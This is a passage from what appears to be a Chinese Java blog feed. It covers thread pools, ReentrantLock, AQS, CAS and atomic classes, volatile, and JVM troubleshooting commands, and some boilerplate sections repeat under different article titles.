        System.out.println("队列剩余容量: " + pool.getQueue().remainingCapacity());
    }
}

Spring Boot 监控

@Component
public class ThreadPoolMetrics {
    @Autowired
    private ThreadPoolExecutor executor;
    
    @Scheduled(fixedRate = 60000)
    public void report() {
        log.info("线程池状态 - 活跃: {}, 队列: {}, 完成: {}",
            executor.getActiveCount(),
            executor.getQueue().size(),
            executor.getCompletedTaskCount()
        );
    }
}

优雅关闭线程池

public void shutdownGracefully(ThreadPoolExecutor executor) {
    executor.shutdown();  // 停止接收新任务
    try {
        // 等待现有任务完成
        if (!executor.awaitTermination(60, TimeUnit.SECONDS)) {
            executor.shutdownNow();  // 强制关闭
            // 再次等待
            if (!executor.awaitTermination(60, TimeUnit.SECONDS)) {
                System.err.println("线程池未正常关闭");
            }
        }
    } catch (InterruptedException e) {
        executor.shutdownNow();
        Thread.currentThread().interrupt();
    }
}

常见问题

1. 任务异常导致线程终止

// 错误：异常导致线程退出，线程池创建新线程
executor.submit(() -> {
    throw new RuntimeException("异常");
});

// 正确：包装任务捕获异常
executor.submit(() -> {
    try {
        // 业务逻辑
    } catch (Exception e) {
        log.error("任务执行异常", e);
    }
});

2. ThreadLocal 内存泄漏

executor.submit(() -> {
    try {
        ThreadLocal<String> tl = new ThreadLocal<>();
        tl.set("value");
        // 业务逻辑
    } finally {
        // 必须清理！
        tl.remove();
    }
});

总结

场景corePoolSizemaximumPoolSize队列
计算密集型CPU+1CPU+1有界队列
IO密集型CPU*2CPU*4有界队列
混合任务根据公式计算core*2有界队列

核心原则：

  1. 始终使用 ThreadPoolExecutor 手动创建
  2. 始终使用有界队列
  3. 根据任务类型选择参数
  4. 做好监控和优雅关闭
  5. 注意 ThreadLocal 清理
]]> Java并发 Java 并发 线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM ReentrantLock与公平锁非公平锁 //reentrantlock-yu-gong-ping-suo-fei-gong-ping-suo/ ReentrantLock与公平锁非公平锁

ReentrantLock 相比 synchronized 更灵活，但也更容易用错。很多人知道它支持公平锁和非公平锁，却不知道如何选择。本文重点讲使用场景、注意事项以及两者如何选择。

ReentrantLock vs synchronized

特性ReentrantLocksynchronized
锁的获取方式显式 lock/unlock隐式，JVM管理
公平性支持公平/非公平非公平
可中断支持不支持
超时获取支持不支持
条件变量支持多个Condition一个隐式条件
性能JDK6+ 近似优化后近似
代码复杂度较高较低

基本用法

public class Counter {
    private final ReentrantLock lock = new ReentrantLock();
    private int count;
    
    public void increment() {
        lock.lock();  // 获取锁
        try {
            count++;
        } finally {
            lock.unlock();  // 必须在finally中释放
        }
    }
}

注意：unlock() 必须在 finally 块中调用，否则异常时锁不会释放。

公平锁与非公平锁

#

创建方式

// 默认：非公平锁（性能更高）
ReentrantLock lock = new ReentrantLock();
ReentrantLock lock = new ReentrantLock(false);

// 公平锁
ReentrantLock fairLock = new ReentrantLock(true);

#

非公平锁

// 线程A持有锁
lock.lock();

// 线程B、C在队列中等待
// 线程D到来：
if (lock.tryLock()) {  // 直接尝试获取，不排队
    // 获取成功！插队成功
}

特点：

  • 允许”插队”，后到的线程可能先获取锁
  • 吞吐量大，性能更好
  • 可能导致线程饥饿

#

公平锁

// 线程A持有锁
lock.lock();

// 线程B在队列中等待
// 线程C到来：
lock.lock();  // 检查队列，有前驱则排队

特点：

  • 按请求顺序获取锁
  • 吞吐量较低
  • 避免线程饥饿

#

性能对比

public class FairnessTest {
    private static final int THREAD_COUNT = 10;
    private static final int ITERATIONS = 100000;
    
    public static void main(String[] args) {
        testLock(new ReentrantLock(false), "非公平锁");
        testLock(new ReentrantLock(true), "公平锁");
    }
}

结果：非公平锁吞吐量通常比公平锁高 5~10 倍。

建议：除非有明确的公平性需求，否则使用非公平锁。

可中断锁

public void interruptibleLock() {
    try {
        lock.lockInterruptibly();  // 可中断的获取
        try {
            // 执行业务逻辑
        } finally {
            lock.unlock();
        }
    } catch (InterruptedException e) {
        // 响应中断，取消操作
        System.out.println("锁获取被中断");
    }
}

使用场景：需要响应取消请求的长时任务。

超时获取

public boolean tryLockWithTimeout() {
    try {
        if (lock.tryLock(3, TimeUnit.SECONDS)) {
            try {
                // 获取锁成功，执行业务
                return true;
            } finally {
                lock.unlock();
            }
        } else {
            // 超时未获取到锁
            System.out.println("获取锁超时");
            return false;
        }
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
        return false;
    }
}

使用场景：避免死锁、设置操作超时时间。

Condition 条件变量

ReentrantLock 可以创建多个 Condition，实现更精细的线程等待/通知：

public class BoundedBuffer<T> {
    private final ReentrantLock lock = new ReentrantLock();
    private final Condition notFull = lock.newCondition();
    private final Condition notEmpty = lock.newCondition();
    
    private final Object[] items;
    private int putIndex, takeIndex, count;
    
    public void put(T x) throws InterruptedException {
        lock.lock();
        try {
            while (count == items.length) {
                notFull.await();  // 队列满，等待
            }
            items[putIndex] = x;
            putIndex = (putIndex + 1) % items.length;
            count++;
            notEmpty.signal();  // 通知消费者
        } finally {
            lock.unlock();
        }
    }
    
    public T take() throws InterruptedException {
        lock.lock();
        try {
            while (count == 0) {
                notEmpty.await();  // 队列空，等待
            }
            @SuppressWarnings("unchecked")
            T x = (T) items[takeIndex];
            takeIndex = (takeIndex + 1) % items.length;
            count--;
            notFull.signal();  // 通知生产者
            return x;
        } finally {
            lock.unlock();
        }
    }
}

与 Object.wait/notify 对比：

特性ConditionObject wait/notify
数量多个一个
等待队列精确唤醒可能唤醒错误线程
响应中断awaitUninterruptibly不支持
超时等待支持纳秒级毫秒级

锁的查询方法

ReentrantLock lock = new ReentrantLock();

// 获取当前持有锁的线程
Thread owner = lock.getOwner();

// 是否有线程在等待
boolean hasWaiters = lock.hasWaiters(condition);

// 等待队列长度
int waitQueueLength = lock.getWaitQueueLength(condition);

// 是否被当前线程持有
boolean heldByCurrent = lock.isHeldByCurrentThread();

// 是否被任意线程持有
boolean locked = lock.isLocked();

// 公平性设置
boolean fair = lock.isFair();

// 持有锁的重入次数
int holdCount = lock.getHoldCount();

读写锁 ReentrantReadWriteLock

public class Cache {
    private final ReentrantReadWriteLock rwl = new ReentrantReadWriteLock();
    private final Lock r = rwl.readLock();
    private final Lock w = rwl.writeLock();
    private Map<String, Object> data = new HashMap<>();
    
    public Object get(String key) {
        r.lock();
        try {
            return data.get(key);
        } finally {
            r.unlock();
        }
    }
    
    public void put(String key, Object value) {
        w.lock();
        try {
            data.put(key, value);
        } finally {
            w.unlock();
        }
    }
}

特点：

  • 读读不互斥
  • 读写互斥
  • 写写互斥

StampedLock（JDK 8）

public class Point {
    private double x, y;
    private final StampedLock sl = new StampedLock();
    
    // 乐观读
    public double distanceFromOrigin() {
        long stamp = sl.tryOptimisticRead();
        double currentX = x, currentY = y;
        if (!sl.validate(stamp)) {  // 检查是否被修改
            stamp = sl.readLock();   // 升级为悲观读
            try {
                currentX = x;
                currentY = y;
            } finally {
                sl.unlockRead(stamp);
            }
        }
        return Math.sqrt(currentX * currentX + currentY * currentY);
    }
}

最佳实践

  1. 优先使用 synchronized：简单场景，JVM 优化好
  2. 需要高级功能时用 ReentrantLock：可中断、超时、公平锁、多条件
  3. 始终在 finally 中 unlock
  4. 读多写少用 ReadWriteLock
  5. 避免锁嵌套：防止死锁
// 好的模式
lock.lock();
try {
    // 临界区
} finally {
    lock.unlock();
}

总结

ReentrantLock 提供了比 synchronized 更灵活的锁机制，但使用复杂度也更高。在大多数场景下，synchronized 已经足够；只有在需要可中断、超时、公平性或多条件等待时，才考虑使用 ReentrantLock。

核心要点

  1. ReentrantLock 支持公平锁和非公平锁，默认是非公平锁

  2. 提供了 tryLock()、lockInterruptibly() 等高级功能

  3. 必须在 finally 块中释放锁，否则可能造成死锁

  4. 公平锁性能较低，但保证线程获取锁的顺序

总结

ReentrantLock 在需要高级功能时比 synchronized 更合适。在实际项目中，大多数场景使用 synchronized 就足够了，只有在需要定时锁、可中断锁等功能时才考虑 ReentrantLock。

]]> Java并发 Java 并发 ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM AQS为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

AQS 核心设计

AQS 使用 int 类型的 state 表示同步状态，使用 FIFO 双端队列 管理等待线程。

public abstract class AbstractQueuedSynchronizer 
    extends AbstractOwnableSynchronizer {
    
    private volatile int state;           // 同步状态
    private transient volatile Node head; // 队头
    private transient volatile Node tail; // 队尾
}

#

Node 节点结构

static final class Node {
    volatile int waitStatus;     // 节点状态
    volatile Node prev;          // 前驱
    volatile Node next;          // 后继
    volatile Thread thread;      // 绑定的线程
    Node nextWaiter;             // 共享/独占模式或Condition队列
}

waitStatus 状态：

  • CANCELLED(1)：节点已取消
  • SIGNAL(-1)：后继节点需要唤醒
  • CONDITION(-2)：在 Condition 队列中
  • PROPAGATE(-3)：共享模式传播

AQS 的核心方法

#

子类需要实现的方法

// 独占式获取锁
protected boolean tryAcquire(int arg);

// 独占式释放锁
protected boolean tryRelease(int arg);

// 共享式获取锁
protected int tryAcquireShared(int arg);

// 共享式释放锁
protected boolean tryReleaseShared(int arg);

// 当前线程是否持有锁
protected boolean isHeldExclusively();

#

模板方法

AQS 提供了获取和释放的模板方法：

// 获取锁（忽略中断）
public final void acquire(int arg);

// 释放锁
public final boolean release(int arg);

// 共享获取
public final void acquireShared(int arg);

// 共享释放
public final boolean releaseShared(int arg);

独占锁获取流程

public final void acquire(int arg) {
    if (!tryAcquire(arg) &&
        acquireQueued(addWaiter(Node.EXCLUSIVE), arg))
        selfInterrupt();
}

#

流程解析

  1. tryAcquire：尝试获取锁，成功则返回
  2. addWaiter：获取失败，将线程封装为 Node 入队
  3. acquireQueued：在队列中自旋或阻塞等待
final boolean acquireQueued(final Node node, int arg) {
    boolean failed = true;
    try {
        boolean interrupted = false;
        for (;;) {  // 自旋
            final Node p = node.predecessor();
            if (p == head && tryAcquire(arg)) {  // 前驱是头节点，尝试获取
                setHead(node);  // 获取成功，成为头节点
                p.next = null;
                failed = false;
                return interrupted;
            }
            if (shouldParkAfterFailedAcquire(p, node) &&
                parkAndCheckInterrupt())  // 阻塞线程
                interrupted = true;
        }
    } finally {
        if (failed)
            cancelAcquire(node);
    }
}

#

图解流程

线程A获取锁成功
    |
    v
state = 1, head -> null
    |
线程B获取锁失败
    |
    v
addWaiter: tail -> Node(B) -> null
            head -> Node(B)  (初始化head为哑节点)
    |
    v
线程B在acquireQueued中自旋：
    前驱是head -> tryAcquire失败（线程A未释放）
    -> shouldParkAfterFailedAcquire -> parkAndCheckInterrupt
    -> LockSupport.park(B)  // 阻塞
    |
线程A释放锁
    |
    v
tryRelease -> state = 0 -> unparkSuccessor
    -> LockSupport.unpark(B)
    |
    v
线程B被唤醒 -> 继续自旋 -> tryAcquire成功
    -> setHead(B) -> state = 1

锁释放流程

public final boolean release(int arg) {
    if (tryRelease(arg)) {  // 子类实现释放逻辑
        Node h = head;
        if (h != null && h.waitStatus != 0)
            unparkSuccessor(h);  // 唤醒后继
        return true;
    }
    return false;
}

ReentrantLock 中的 AQS

#

非公平锁

static final class NonfairSync extends Sync {
    final void lock() {
        if (compareAndSetState(0, 1))  // 先CAS抢锁
            setExclusiveOwnerThread(Thread.currentThread());
        else
            acquire(1);  // 失败则进入AQS队列
    }
    
    protected final boolean tryAcquire(int acquires) {
        return nonfairTryAcquire(acquires);
    }
}

#

公平锁

static final class FairSync extends Sync {
    final void lock() {
        acquire(1);  // 直接进队列，按顺序获取
    }
    
    protected final boolean tryAcquire(int acquires) {
        final Thread current = Thread.currentThread();
        int c = getState();
        if (c == 0) {
            if (!hasQueuedPredecessors() &&  // 检查是否有前驱节点
                compareAndSetState(0, acquires)) {
                setExclusiveOwnerThread(current);
                return true;
            }
        }
        // 重入逻辑...
        return false;
    }
}

CountDownLatch 中的 AQS

public class CountDownLatch {
    private static final class Sync extends AbstractQueuedSynchronizer {
        Sync(int count) {
            setState(count);  // state = 计数器值
        }
        
        // await()调用：共享获取
        protected int tryAcquireShared(int acquires) {
            return (getState() == 0) ? 1 : -1;  // state为0时才成功
        }
        
        // countDown()调用：共享释放
        protected boolean tryReleaseShared(int releases) {
            for (;;) {
                int c = getState();
                if (c == 0) return false;
                int nextc = c - 1;
                if (compareAndSetState(c, nextc))
                    return nextc == 0;  // 减到0时唤醒等待线程
            }
        }
    }
}

Semaphore 中的 AQS

public class Semaphore {
    abstract static class Sync extends AbstractQueuedSynchronizer {
        // tryAcquireShared：获取信号量
        protected int tryAcquireShared(int acquires) {
            for (;;) {
                int available = getState();
                int remaining = available - acquires;
                if (remaining < 0 ||
                    compareAndSetState(available, remaining))
                    return remaining;
            }
        }
    }
}

AQS 的设计精髓

  1. 模板方法模式：定义算法骨架，子类实现具体逻辑
  2. CLH 变体队列：FIFO 保证公平性
  3. 状态驱动：state 的语义由子类定义
  4. 自旋 + 阻塞：先自旋尝试，避免不必要的上下文切换
  5. LockSupport：使用 park/unpark 精确控制线程阻塞和唤醒

总结

并发工具AQS 模式state 语义
ReentrantLock独占重入次数
ReentrantReadWriteLock独占+共享高16位读锁，低16位写锁
CountDownLatch共享剩余计数
Semaphore共享剩余信号量
CyclicBarrier独占代+计数

AQS 将复杂的线程排队、阻塞、唤醒逻辑封装起来，让并发工具的开发者只需关注”什么条件下获取/释放成功”这一核心逻辑。这是设计模式与并发编程的完美结合。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 Java 并发 GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM CAS与原子操作类Atomic //cas-yu-yuan-zi-cao-zuo-lei-atomic/ CAS与原子操作类Atomic

CAS（Compare And Swap）是并发编程的底层基石，Java 的原子类都基于 CAS 实现。本文从原理到应用全面解析。

CAS 原理

CAS 是一条 CPU 原子指令，包含三个操作数：

  • 内存位置 V
  • 预期值 A
  • 新值 B

当且仅当 V 的值等于 A 时，才将 V 的值更新为 B，否则什么都不做。

while (true) {
    int current = get();      // 读取当前值
    int newValue = current + 1;  // 计算新值
    if (compareAndSwap(current, newValue)) {  // CAS操作
        break;  // 成功
    }
    // 失败，重试
}

Java 中的 CAS 实现

Unsafe 类

public final class Unsafe {
    // 比较并交换对象字段
    public final native boolean compareAndSwapObject(Object o, long offset, Object expected, Object x);
    
    // 比较并交换int
    public final native boolean compareAndSwapInt(Object o, long offset, int expected, int x);
    
    // 比较并交换long
    public final native boolean compareAndSwapLong(Object o, long offset, long expected, long x);
}

注意：Unsafe 不能直接调用，原子类内部使用。

Atomic 原子类家族

基本类型

AtomicInteger ai = new AtomicInteger(0);

// 原子递增
int newVal = ai.incrementAndGet();  // ++i
int oldVal = ai.getAndIncrement();  // i++

// 原子递减
ai.decrementAndGet();

// 原子加法
ai.addAndGet(5);      // +5后返回
ai.getAndAdd(5);      // 返回原值，再加5

// CAS操作
boolean success = ai.compareAndSet(0, 1);  // 当前为0则设为1

数组类型

AtomicIntegerArray array = new AtomicIntegerArray(10);

array.set(0, 100);
int val = array.incrementAndGet(0);  // 对索引0原子+1

引用类型

AtomicReference<User> ref = new AtomicReference<>();

// 原子更新引用
ref.set(new User("张三"));
User old = ref.getAndSet(new User("李四"));

// CAS更新
User expected = ref.get();
ref.compareAndSet(expected, new User("王五"));

字段更新器

public class User {
    private volatile int age;  // 必须用volatile
}

AtomicIntegerFieldUpdater<User> updater = 
    AtomicIntegerFieldUpdater.newUpdater(User.class, "age");

User user = new User();
updater.incrementAndGet(user);  // 对user.age原子+1

累加器（JDK 8+）

高并发场景下比 AtomicLong 性能更好：

LongAdder adder = new LongAdder();
adder.increment();
adder.add(100);
long sum = adder.sum();

原理：内部维护 Cell 数组，线程分散到不同 Cell 上累加，最后求和。

LongAccumulator accumulator = new LongAccumulator(Long::max, 0);
accumulator.accumulate(100);
accumulator.accumulate(200);
long max = accumulator.get();  // 200

ABA 问题

什么是 ABA 问题

线程A读取值A
线程B将A改为B，又改回A
线程A的CAS操作成功，但实际上值已经被修改过
// 栈的ABA问题示例
AtomicReference<Node> top = new AtomicReference<>();

// 线程A：
Node node1 = top.get();  // 读取top=A
// ... 被中断 ...

// 线程B：
top.compareAndSet(A, B);  // A->B
top.compareAndSet(B, A);  // B->A（A被重新压入）

// 线程A恢复：
top.compareAndSet(A, newNode);  // 成功！但栈结构已变化

解决方案：AtomicStampedReference

增加版本号（stamp）控制：

AtomicStampedReference<String> ref = 
    new AtomicStampedReference<>("A", 0);

int[] stampHolder = new int[1];
String value = ref.get(stampHolder);
int stamp = stampHolder[0];

// 更新时需要匹配值和版本号
ref.compareAndSet("A", "B", stamp, stamp + 1);

AtomicMarkableReference

另一种方案，使用 boolean 标记：

AtomicMarkableReference<String> ref = 
    new AtomicMarkableReference<>("A", false);

boolean[] markHolder = new boolean[1];
String value = ref.get(markHolder);

ref.compareAndSet("A", "B", false, true);

CAS 的优缺点

优点

  1. 无锁：没有线程阻塞和唤醒开销
  2. 高性能：竞争不激烈时效率极高
  3. 原子性：硬件级别保证

缺点

  1. 自旋开销：竞争激烈时 CPU 空转
  2. ABA 问题：需要额外处理
  3. 只能保证单个变量原子性：无法解决多变量一致性问题

性能对比

// 场景：10个线程各累加100000次

// synchronized
private long count1;
public synchronized void increment1() { count1++; }

// AtomicLong
private AtomicLong count2 = new AtomicLong(0);
public void increment2() { count2.incrementAndGet(); }

// LongAdder（推荐）
private LongAdder count3 = new LongAdder();
public void increment3() { count3.increment(); }
实现低竞争高竞争
synchronized中差
AtomicLong好差（大量自旋）
LongAdder好很好（分散竞争）

实际应用场景

1. 计数器

public class ConcurrentCounter {
    private final LongAdder count = new LongAdder();
    
    public void increment() {
        count.increment();
    }
    
    public long get() {
        return count.sum();
    }
}

2. 序列号生成

public class IdGenerator {
    private final AtomicLong sequence = new AtomicLong(0);
    
    public long nextId() {
        return sequence.incrementAndGet();
    }
}

3. 乐观锁实现

public class OptimisticLock {
    private final AtomicStampedReference<Data> ref;
    
    public void update(Data newData) {
        int[] stamp = new int[1];
        Data current = ref.get(stamp);
        
        // 处理数据...
        Data processed = process(current, newData);
        
        // CAS更新
        if (!ref.compareAndSet(current, processed, stamp[0], stamp[0] + 1)) {
            throw new ConcurrentModificationException();
        }
    }
}

总结

CAS 是无锁并发的基础，Java 通过 sun.misc.Unsafe 提供 CAS 能力，上层封装了丰富的原子类：

  • AtomicXxx：基本类型原子操作
  • AtomicXxxArray：数组原子操作
  • AtomicReference：引用原子操作
  • AtomicStampedReference：解决 ABA 问题
  • LongAdder/LongAccumulator：高并发累加器

在竞争激烈的高并发场景下，优先使用 LongAdder 替代 AtomicLong。

]]> Java并发 Java 并发 JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM volatile能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

volatile 能保证什么

#

1. 可见性（Visibility）

一个线程修改了 volatile 变量，其他线程能立即看到最新值。

public class VisibilityExample {
    private volatile boolean flag = false;
    
    public void writer() {
        flag = true;  // 写volatile变量
    }
    
    public void reader() {
        while (!flag) {  // 读volatile变量
            // 等待
        }
        System.out.println("看到flag=true");
    }
}

原理：

  • 写 volatile：JMM 会将该线程本地内存中的共享变量刷新到主内存
  • 读 volatile：JMM 会将该线程本地内存中的共享变量置为无效，从主内存读取

#

2. 禁止指令重排序（Ordering）

volatile 禁止编译器和 CPU 对指令进行重排序：

volatile int a = 0;
int b = 0;

// 线程A
b = 1;      // (1)
a = 2;      // (2) volatile写

// 线程B
if (a == 2) {   // (3) volatile读
    System.out.println(b);  // (4) 保证看到b=1
}

规则：

  • (1) 不会被重排序到 (2) 之后
  • (3) 不会被重排序到 (4) 之后
  • (2) 和 (3) 之间有 happens-before 关系

volatile 不能保证什么

#

不能保证原子性（Atomicity）

public class NotAtomic {
    private volatile int count = 0;
    
    public void increment() {
        count++;  // 非原子操作！
    }
}

count++ 实际上是三个操作：

  1. 读取 count 值
  2. 加 1
  3. 写回 count

即使加了 volatile，这三步之间仍可能被其他线程打断：

线程A读取count=0
线程B读取count=0
线程A加1，写回count=1
线程B加1，写回count=1
// 结果：count=1（期望是2）

解决方案：

// 方案1：synchronized
public synchronized void increment() {
    count++;
}

// 方案2：AtomicInteger
private AtomicInteger count = new AtomicInteger(0);
public void increment() {
    count.incrementAndGet();
}

// 方案3：LongAdder（高并发推荐）
private LongAdder count = new LongAdder();
public void increment() {
    count.increment();
}

volatile 的内存语义

#

happens-before 规则

根据 JMM 的 happens-before 规则：

volatile 变量规则：对一个 volatile 域的写，happens-before 于任意后续对这个 volatile 域的读。

int a = 1;          // (1)
int b = 2;          // (2)
volatile int c = 3; // (3)
int d = 4;          // (4)

// (1)(2) 可能被重排序
// (1)(2) 不会被重排序到 (3) 之后
// (4) 不会被重排序到 (3) 之前

#

内存屏障

volatile 读写会插入内存屏障：

操作屏障类型说明
volatile 读LoadLoad + LoadStore禁止后续的读/写重排序到前面
volatile 写StoreStore + StoreLoad禁止前面的读/写重排序到后面

正确使用场景

#

1. 状态标志

public class Server {
    private volatile boolean running = true;
    
    public void shutdown() {
        running = false;
    }
    
    public void doWork() {
        while (running) {
            // 执行任务
        }
    }
}

#

2. 单例模式（双重检查锁定）

public class Singleton {
    private static volatile Singleton instance;
    
    public static Singleton getInstance() {
        if (instance == null) {                    // (1)
            synchronized (Singleton.class) {
                if (instance == null) {
                    instance = new Singleton();    // (2) volatile禁止重排序
                }
            }
        }
        return instance;                           // (3)
    }
}

为什么需要 volatile？

new Singleton() 实际分三步：

  1. 分配内存
  2. 初始化对象
  3. 将引用指向内存地址

步骤 2 和 3 可能被重排序。没有 volatile，线程 A 可能先执行 3，此时 instance 非空但对象未初始化，线程 B 在 (1) 处判断非空直接返回未初始化的对象。

#

3. 读写锁的读操作（简单场景）

public class Counter {
    private volatile long value;
    
    public long get() {      // 读：无锁，高性能
        return value;
    }
    
    public synchronized void increment() {  // 写：加锁保证原子性
        value++;
    }
}

常见误区

#

1. 用 volatile 替代 synchronized

// 错误！不能保证原子性
private volatile int balance;
public void withdraw(int amount) {
    if (balance >= amount) {  // 检查
        balance -= amount;     // 操作：非原子！
    }
}

#

2. 64位变量的原子性误解

// 在32位JVM上，long/double的读写不是原子的
private volatile long value;  // volatile保证64位原子性

在 32 位 JVM 上，未加 volatile 的 long/double 读写分两次 32 位操作，可能读到”半值”。volatile 保证 64 位读写原子性。

总结

特性volatilesynchronizedAtomic
可见性✅✅✅
原子性❌✅✅
有序性✅✅✅
性能高中高

使用原则：

  • 纯标志位（布尔值）：用 volatile
  • 计数、累加：用 Atomic/LongAdder
  • 复合操作（检查再执行）：用 synchronized 或锁

理解 volatile 的语义边界，是写出正确并发代码的前提。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 Java 并发 AQS 为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS 为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

